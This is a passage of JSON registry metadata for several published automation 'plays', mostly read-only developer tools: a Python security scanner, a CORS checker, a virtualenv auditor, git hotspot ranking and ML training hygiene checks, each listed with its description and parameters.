audit","example":"80"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9437c9e65e1236fe28e1b88784422c6a9e79f4f9ad325f3924f98996686ee791","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sanhik/security-scan@0.1.0","reference":"sanhik/security-scan@0.1.0","uri":"https://play.modiqo.ai/sanhik/security-scan@0.1.0","manifest_uri":"https://play.modiqo.ai/sanhik/security-scan@0.1.0","name":"security-scan","title":"security-scan","description":"Audits a Python project directory for security issues (AST checks + optional bandit + pip-audit) and writes SECURITY-REPORT.md (plus security-report.json). Read-only.","owner":{"kind":"user","slug":"sanhik"},"registry_organization":"sanhik","tags":["typescript","python","security","bandit","pip-audit"],"primary_domain":"domain-uncategorized","author":"Sanhik","version":"0.1.0","published_at":"2026-09-04T11:12:28.947928+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9767,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"directory","type":"string","required":true,"description":"Absolute path to the Python project directory to audit"},{"name":"output_md","type":"string","required":false,"default":"","description":"Output markdown path; defaults to <directory>/SECURITY-REPORT.md"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:44fb5d1db352afe4bcb080a316a23209b99dda222f76fea5e6426c75cb45647b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/play-advisor@0.1.0","reference":"dezloper/play-advisor@0.1.0","uri":"https://play.modiqo.ai/dezloper/play-advisor@0.1.0","manifest_uri":"https://play.modiqo.ai/dezloper/play-advisor@0.1.0","name":"play-advisor","title":"play-advisor","description":"For anyone confused about what to build for the Rote Playoffs hackathon. Pulls real, live data from the play.modiqo.ai registry -- a sample of published plays, their real download counts, and a real breakdown of what kind of plays exist (browser automation vs API/adapter-based vs plain script) -- then asks an AI assistant to explain, in the simplest plain words, what the most-downloaded plays actually do for a person, what part of the registry is crowded vs thin, and one small concrete idea you could build in the thin area. Includes real quotes from the hackathon's own kickoff livestream on how to think about this (mine your own repeated chat sessions for ideas; quality over quantity). All numbers in the output are counted directly from what the registry returned that run -- the assistant is told explicitly never to invent or restate different numbers. Pass topic=<your interest> to steer the idea toward something you actually care about; leave it blank for a general idea. Read-only: only ever queries the public registry, writes nothing, needs no credentials.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-rote-plays","audience-hackathon-participants","job-idea-generation","effect-read-only","registry-analysis"],"primary_domain":"domain-rote-plays","author":"rote clean-room authoring","version":"0.1.0","published_at":"2026-09-04T10:17:34.081649+00:00","visibility":"public","quality_score":1,"size_bytes":9801,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["compose_advice","fetch_registry","survey_assistant"]},"parameters":[{"name":"topic","type":"string","required":false,"default":"","description":"What you're personally interested in building (e.g. \"trading\", \"notion\", \"browser automation\"). Leave blank for a general idea."},{"name":"sample_size","type":"string","required":false,"default":"40","description":"How many real published plays to sample from the registry (max 50)."},{"name":"timeout_seconds","type":"string","required":false,"default":"300","description":"Wall-clock budget for the assistant to write its explanation."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4d48eb0c339a72c040ed1ba8282a3f12061307b13453603db8ea86037486fa33","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/webmcp-site-agent-readiness@0.1.0","reference":"himanshu-jha/webmcp-site-agent-readiness@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/webmcp-site-agent-readiness@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/webmcp-site-agent-readiness@0.1.0","name":"webmcp-site-agent-readiness","title":"webmcp-site-agent-readiness","description":"A deep post-discovery PR and release gate for WebMCP sites. It accepts either a complete offline observation with declared high-value journeys or a saved, read-only document.modelContext.getTools capture produced by any Playwright-compatible browser adapter. Offline mode runs five independent probes across the 2026-09-03 draft contract, bounded structural JSON Schema checks, intent coverage and overlap, safety/confirmation/origin boundaries, dynamic registration, abort behavior, UI synchronization, graceful errors, and fallbacks. Saved-capture mode inventories the live declarations without invoking a tool and marks every unobserved behavior UNKNOWN. Malformed origins, schemas, coverage declarations, annotations, exposure policies, registrations, runtime observations, or capture files fail closed.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-web-engineers","domain-agentic-web","webmcp","release-gate","tool-safety","task-coverage"],"primary_domain":"domain-agentic-web","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T10:10:22.312222+00:00","visibility":"public","quality_score":1,"size_bytes":33799,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["validate_evidence_mode","assess_saved_live_capture","map_journey_task_coverage","audit_tool_schema_contracts","evaluate_lifecycle_reliability","verify_model_context_discovery","assess_webmcp_release_readiness","inspect_safety_origin_boundaries"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Offline JSON containing captured entrypoint facts, pages/states/tools, registrations, execution observations, fallbacks, and ordered journeys. Empty uses the packaged release-gate demo.","example":"./webmcp-release-observation.json"},{"name":"target_url","type":"string","required":false,"default":"","description":"URL represented by a saved browser capture. Supply together with capture and leave input empty.","example":"https://example.com/orders"},{"name":"capture","type":"string","required":false,"default":"","description":"Workspace-relative JSON file containing either the capture object or the complete browser_evaluate adapter response. Supply together with target_url.","example":"./webmcp-capture.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:28bd5cb1db553fb80110e80dffa2e8fa80c3f0e202c9e505e650f10242606d5a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":6,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/hotspots@0.1.0","reference":"adnandev/hotspots@0.1.0","uri":"https://play.modiqo.ai/adnandev/hotspots@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/hotspots@0.1.0","name":"hotspots","title":"hotspots","description":"Ranks the files that absorb the most change and are largest when they do, so you can see where the work actually concentrates. On the repository this was built on, 17 percent of every file change landed on the busiest ten percent of files, and half of all changes ever made touched just 36 of 149 files. Three DAG steps: one reader that walks git history counting how many commits touched each still-tracked file, one that measures each file's current length, and one join that ranks them by commits multiplied by lines and reports how concentrated the churn is. Deleted files are dropped because their churn is history rather than a hotspot, and non-code files are listed separately instead of crowding the ranking. Churn is reported as attention, never as quality: the output says plainly that a file which changes often may simply be where the work is. A path outside a git work tree, a missing git, and a repository with no recorded history each print a different honest answer instead of a zero. Read-only toward your repository: it checks out nothing, rewrites nothing, edits no file, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own hotspots.json report, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["git","code-quality","refactoring","hotspots","repository-audit","technical-debt"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T09:22:41.922699+00:00","visibility":"public","quality_score":1,"size_bytes":12151,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["read_churn","measure_size","report_hotspots"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository to analyse. Defaults to the current directory. Must be inside a git work tree; anything else prints INDETERMINATE rather than an empty result."},{"name":"since","type":"string","required":false,"default":"","description":"Optional git date to limit history, such as 6.months.ago or 2026-01-01. Empty means the whole history. Narrowing the window changes every count, so a short window makes a long-lived file look calm."},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many files to list. Never changes a count or a rank, only how much of the ranking is shown."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the top files. all prints every ranked file. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0b31ad6e8b0f8ad04f12bebb59a07bd7b815d05d54b61ddded00819309f37e69","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chinmoy/cors-mismatch@0.2.0","reference":"chinmoy/cors-mismatch@0.2.0","uri":"https://play.modiqo.ai/chinmoy/cors-mismatch@0.2.0","manifest_uri":"https://play.modiqo.ai/chinmoy/cors-mismatch@0.2.0","name":"cors-mismatch","title":"cors-mismatch","description":"Reads both halves of a repository and answers whether the browser will refuse your own frontend's calls to your own backend. 8 probes derive every origin the browser sends from (vite server.port, next and create-react-app defaults, package.json homepage, CNAME), every base URL the client calls (fetch, axios, ky, VITE_ and NEXT_PUBLIC_ defaults), and the allowlist the server declares (express cors, FastAPI CORSMiddleware, Flask-CORS, Django, Spring, nginx), then pairs them into ALLOWED, BLOCKED or BLOCKED-AT-PREFLIGHT with a file and line on both sides. Registration order is read across files, one level deep, so an express app that calls cors() in app.js and mounts auth from routes/index.js is reported with both file:line locations, as is a Django MIDDLEWARE entry or a Starlette add_middleware naming a local module. Comments, docstrings, tests and vendored trees are never read for a finding. It does not contact a server, require one running, or follow an import git does not track, and it reports UNKNOWN rather than a pass whenever either half is missing.","owner":{"kind":"user","slug":"chinmoy"},"registry_organization":"chinmoy","tags":["effect-read-only","domain-web","domain-frontend","domain-backend","tool-git","tool-python3","job-repo-audit","job-deploy-readiness","audience-developers","audience-fullstack","cors","preflight","access-control-allow-origin","allowlist","same-origin-policy","dev-proxy","middleware-order","vite","fastapi","express","django","static-analysis","starlette","fastify","middleware","cross-file"],"primary_domain":"domain-web","author":"chinmoy","version":"0.2.0","published_at":"2026-09-04T07:53:41.198419+00:00","visibility":"public","quality_score":1,"size_bytes":53672,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["verdict","dev_proxy","api_targets","repo_survey","server_config","invalid_combos","frontend_origins","middleware_order"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Work tree to read. The default '.' resolves to the directory the run started in, so a zero-argument run answers for the repository you are standing in; pass an absolute path to answer for a checkout somewhere else. Only tracked files are read, because an uncommitted scratch config is not what a teammate or a deploy will get."},{"name":"include_tests","type":"boolean","required":false,"default":"false","description":"Whether test, spec, fixture and mock directories are read. The default false leaves them out, because a test that deliberately builds a broken CORS config is the single most common false positive in this class of check and reporting it sends someone to edit a passing test. Set true when your application code genuinely lives under a directory named test."},{"name":"include_examples","type":"boolean","required":false,"default":"false","description":"Whether example, demo, sandbox, playground and benchmark directories are read. The default false leaves them out, because a sample app in examples/ is written to be copied and its localhost origins are not the ones your deployment uses. Set true when the example directory is the application you actually ship."},{"name":"assume_dev_ports","type":"boolean","required":false,"default":"true","description":"Whether a framework's default development port is assumed when no port is declared. The default true adds 5173 for vite, 3000 for next and create-react-app and 4200 for angular, which is the port a contributor's browser really uses and therefore the origin that really gets blocked. Set false to reason only about ports the repository states in writing."},{"name":"check_proxy","type":"boolean","required":false,"default":"true","description":"Whether development proxies are read and compared against production rewrites. The default true reports a proxy that makes a call same-origin in development while nothing covers the same route in production, which is why the failure appears only after deploy. Set false when you route every request through an ingress that is configured outside this repository."},{"name":"follow_mounts","type":"boolean","required":false,"default":"true","description":"Whether registration order is followed one level across files. The default true reads the file that registers CORS and then opens the single local module it mounts ahead of that registration - a router required from ./routes, a Django MIDDLEWARE entry naming this project's own dotted path, a Starlette add_middleware class imported from a sibling file - and reports the mount site and the auth registration inside it as two file and line locations, because an express app that calls cors() in app.js and mounts auth from routes/index.js is the commonest real shape of this failure and no single file shows it. Exactly one level is followed, and only into a path git already tracks; node_modules and site-packages are never entered, and an import that does not resolve is dropped in silence rather than guessed at. Set false to read every file on its own, which is what version 0.1.0 did."},{"name":"extra_origins","type":"string","required":false,"default":"","description":"Comma-separated origins to test against the allowlist in addition to the ones found. The default is empty because every origin the repository states is already derived; add an origin here when the site is served from a domain the repository never names, such as a preview URL or a customer's own domain."},{"name":"backend_origins","type":"string","required":false,"default":"","description":"Comma-separated origins to treat as this project's own backend rather than a third-party API. The default is empty, and any host on a well known third-party domain is reported as external and never flagged, because another company's CORS policy is not decidable from your repository. Name your API host here when it lives on a domain that looks third-party."},{"name":"severity","type":"string","required":false,"default":"all","description":"Which findings reach the report: all, or critical. The default all keeps the warnings, because an echoed Origin header and a proxy with no production counterpart are both worth seeing once even though neither blocks a request today; use critical for only what a browser will refuse outright."},{"name":"max_pairs","type":"integer","required":false,"default":"12","description":"How many origin-to-target pairs are listed. The default 12 keeps the report readable on one screen, worst first, and the count of pairs not listed is always printed so nothing is silently dropped. Raise it when a repository serves several frontends and you want the whole matrix."},{"name":"max_files","type":"integer","required":false,"default":"1500","description":"Upper bound on how many files have their contents read. The default 1500 covers every application repository tested and keeps a run on a large monorepo to a few seconds; the number of files actually read is always reported, so a bound that was hit is visible rather than silently narrowing the answer."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6506fdb4bf9c256b692cf43d00750bc58d65d04b436410c4124bfb44c4d06865","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vaishnav/slop-surgeon@0.2.0","reference":"vaishnav/slop-surgeon@0.2.0","uri":"https://play.modiqo.ai/vaishnav/slop-surgeon@0.2.0","manifest_uri":"https://play.modiqo.ai/vaishnav/slop-surgeon@0.2.0","name":"slop-surgeon","title":"slop-surgeon","description":"Hunts down AI-generated dead code and orphan dependencies, verifies safe excision against your test suite, and commits a clean branch.","owner":{"kind":"org","slug":"vaishnav"},"registry_organization":"vaishnav","tags":["cleanup","devtools","dead-code","testing","git"],"primary_domain":"domain-uncategorized","author":"vaishnav","version":"0.2.0","published_at":"2026-09-04T06:00:50.856748+00:00","visibility":"public","quality_score":0.875,"size_bytes":8338,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["surgical_prune"]},"parameters":[{"name":"target","type":"string","required":false,"default":".","description":"Path to repository directory to inspect and prune"},{"name":"test_cmd","type":"string","required":false,"default":"","description":"Custom test command to run for safety gate (auto-detected if blank)"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Scan only without excising files"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a5ecbdd124f99cd7a70e8d76b6bf47d97a0bf28c484eae15889ab37a272dd7cc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chinmoy/venv-rot@0.2.0","reference":"chinmoy/venv-rot@0.2.0","uri":"https://play.modiqo.ai/chinmoy/venv-rot@0.2.0","manifest_uri":"https://play.modiqo.ai/chinmoy/venv-rot@0.2.0","name":"venv-rot","title":"venv-rot","description":"Answers which Python actually runs the repository you are standing in, which pip installs into it, and whether the virtualenv beside it is already dead. 7 probes read what the project declares in .python-version, runtime.txt, requires-python and Pipfile, resolve every python3, pyenv shim and conda prefix through its symlink chain to a real prefix, and census every pyvenv.cfg to say whether the interpreter it names still exists on disk. It pairs declared dependencies against the imports the code makes, opencv-python against cv2, and names the standard library module a script directory shadows. Tests, docstrings and vendored trees are never read for a finding, an import inside try/except ImportError is never reported, and it does not install, activate or delete anything. PEP 668 has no marker on Windows, so error: externally-managed-environment cannot fire there. With no Python marker the answer is UNKNOWN, never a pass. Catches the ModuleNotFoundError that follows a successful install.","owner":{"kind":"user","slug":"chinmoy"},"registry_organization":"chinmoy","tags":["effect-read-only","domain-python","domain-packaging","domain-devtools","tool-git","tool-python3","tool-pip","job-environment-audit","job-repo-audit","job-onboarding","audience-developers","audience-data-scientists","venv","virtualenv","pyvenv","site-packages","externally-managed","pep-668","modulenotfounderror","pyenv","conda","requirements-txt","pyproject","interpreter","static-analysis"],"primary_domain":"domain-python","author":"chinmoy","version":"0.2.0","published_at":"2026-09-04T05:57:52.155795+00:00","visibility":"public","quality_score":1,"size_bytes":45318,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":7,"names":["resolve","verdict","venv_census","import_traps","declared_deps","project_python","interpreter_map"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Work tree to answer for. The default '.' resolves to the directory the run started in, so a zero-argument run answers for the repository you are standing in; pass an absolute path to answer for a checkout somewhere else. The project is read from the git index, because an untracked scratch requirements file is not what a teammate or a deploy will get."},{"name":"scan_home","type":"boolean","required":false,"default":"true","description":"Whether virtualenvs outside the project are censused as well. The default true also walks the home directory, because the environment that is actually activated in your shell is very often not the one beside the project, and a dead environment three directories away is still occupying disk and still confusing which python answers. Set false to answer only about environments inside this repository, which is the right setting on a shared or unfamiliar machine."},{"name":"max_depth","type":"integer","required":false,"default":"4","description":"How many directory levels below the project root, and below the home directory, the search for a pyvenv.cfg descends. The default 4 reaches ~/projects/thing/.venv and ~/.virtualenvs/name without walking an entire disk, and it visited 2250 directories in a fifth of a second on the machine this was built on. Raise it when your checkouts are nested deeper than that; the number of directories actually visited is always reported."},{"name":"dormant_days","type":"integer","required":false,"default":"90","description":"How old an environment must be, in days since anything inside it was last written, before it is called dormant. The default 90 marks an environment that has survived a quarter without an install as holding whatever was current then rather than what the declarations ask for now. Dormancy is only ever reported as an observation, never as a failure, because an environment that has not changed is not thereby broken."},{"name":"include_conda","type":"boolean","required":false,"default":"true","description":"Whether conda and mamba prefixes are counted among the interpreters on this machine. The default true lists them, because a conda base environment on PATH ahead of everything else is a common reason a bare python3 is not the python anyone expected. Set false on a machine where conda is deliberately parked and you want the inventory to show only what your shell would otherwise reach."},{"name":"check_imports","type":"boolean","required":false,"default":"true","description":"Whether application source is parsed for imports whose distribution is spelled differently from the module. The default true parses each file with the ast module and compares only a fixed table of known pairs such as cv2 for opencv-python and yaml for PyYAML. Set false on a very large repository, or when you want an answer about the interpreter and its environments alone; the file count that was parsed is always reported either way."},{"name":"max_files","type":"integer","required":false,"default":"1500","description":"Upper bound on how many application files are read and parsed. The default 1500 covered every repository tested, including one with 1974 tracked .py files, and keeps a run on a large monorepo to a few seconds. The number of files actually parsed is always printed, so a bound that was reached is visible in the report rather than silently narrowing the answer."},{"name":"severity","type":"string","required":false,"default":"all","description":"Which findings reach the report: all, or critical. The default all keeps the warnings, because an import whose distribution nobody declared and an interpreter that refuses a bare pip install are both worth seeing once even though neither stops the code running today. Use critical for only what will stop this project running, and the count withheld is always printed."},{"name":"ignore","type":"string","required":false,"default":"node_modules,.git,vendor","description":"Comma-separated directory names the environment search never descends into. The default skips node_modules, .git and vendor, which hold no virtualenv anyone maintains and are the three largest directories in a typical checkout. Add a name here when a build cache or a data directory is making the scan slow; an empty value keeps only the built-in skips for caches and package directories."},{"name":"max_findings","type":"integer","required":false,"default":"10","description":"How many findings are listed, worst first. The default 10 keeps the report readable on one screen, and the count of findings not listed is always printed so nothing is silently dropped. Raise it when auditing a repository you expect to be in poor shape and you want the whole list rather than the head of it."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:373a12a6a9d2859fa4250f915b4dc39cda6d57eda9fbf9c9a1499b1050d1ca90","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohdavaish/autonomous-pr-triage-sentinel@0.1.0","reference":"mohdavaish/autonomous-pr-triage-sentinel@0.1.0","uri":"https://play.modiqo.ai/mohdavaish/autonomous-pr-triage-sentinel@0.1.0","manifest_uri":"https://play.modiqo.ai/mohdavaish/autonomous-pr-triage-sentinel@0.1.0","name":"autonomous-pr-triage-sentinel","title":"autonomous-pr-triage-sentinel","description":"Deterministic PR triage engine that audits branches for merge residue, exposed credentials, and generates an executive markdown gate review.","owner":{"kind":"user","slug":"mohdavaish"},"registry_organization":"mohdavaish","tags":["devops","security","code-review","git"],"primary_domain":"domain-uncategorized","author":"mohdavaish","version":"0.1.0","published_at":"2026-09-04T04:25:33.84087+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":2919,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["triage"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:435944d4410a0011d831937c63b9b972ff5e8c959b44715d5250fa0b3debbebc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohdavaish/repo-hygiene-doctor@0.1.1","reference":"mohdavaish/repo-hygiene-doctor@0.1.1","uri":"https://play.modiqo.ai/mohdavaish/repo-hygiene-doctor@0.1.1","manifest_uri":"https://play.modiqo.ai/mohdavaish/repo-hygiene-doctor@0.1.1","name":"repo-hygiene-doctor","title":"repo-hygiene-doctor","description":"Deterministic zero-credential repo and data hygiene auditor.","owner":{"kind":"user","slug":"mohdavaish"},"registry_organization":"mohdavaish","tags":["developer-tools","git","hygiene"],"primary_domain":"domain-uncategorized","author":"mohdavaish","version":"0.1.1","published_at":"2026-09-04T03:12:00.614316+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":2627,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b5049da5aabe88a2d5de1c263ffdd08364343e6dd1970c2b4cb5ce2cb1107e17","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sonic-tools/ml-train-hygiene-check@0.1.1","reference":"sonic-tools/ml-train-hygiene-check@0.1.1","uri":"https://play.modiqo.ai/sonic-tools/ml-train-hygiene-check@0.1.1","manifest_uri":"https://play.modiqo.ai/sonic-tools/ml-train-hygiene-check@0.1.1","name":"ml-train-hygiene-check","title":"ml-train-hygiene-check","description":"Catches the silent bugs that make ML runs non-reproducible or leak test data, before you waste hours debugging a model that trains differently every time. Point it at any directory of Python (or a single file) and it scans for 6 of the most common silent-correctness mistakes a static check can prove: a scaler fitted before the train/test split does (data leak), training-mode inference missing model.eval()/torch.no_grad(), a random seed set after the model or the shuffle, CUDA without deterministic flags, and a metric computed on unsplit data. Each finding is graded likely vs possible and prints the fix hint plus the code snippet at the exact file:line -- so the next action is obvious. Offline, pure Python stdlib (ast + tokenize), no credentials, no browser, never executes your code (parses only, so it is safe on untrusted repos). Zero findings on clean scripts makes it a 2-second pre-commit / CI hygiene gate. Try: rote play run https://play.modiqo.ai/sonic-tools/ml-train-hygiene-check target=/abs/path/to/repo","owner":{"kind":"org","slug":"sonic-tools"},"registry_organization":"sonic-tools","tags":["domain-dev-tools","ml-training-hygiene","audience-developers","effect-read-only"],"primary_domain":"domain-dev-tools","author":"sonic","version":"0.1.1","published_at":"2026-09-03T22:04:55.869971+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":14990,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[{"name":"target","type":"string","required":true,"default":"","description":"Path to the Python file or directory to analyze (absolute paths are most reliable; relative paths resolve against the play runtime directory)","example":"src/training"},{"name":"depth","type":"integer","required":false,"default":"8","description":"Maximum directory depth to recurse when target is a directory","example":"8"},{"name":"framework","type":"string","required":false,"default":"","description":"Optional framework hint to force before scanning (auto-detected 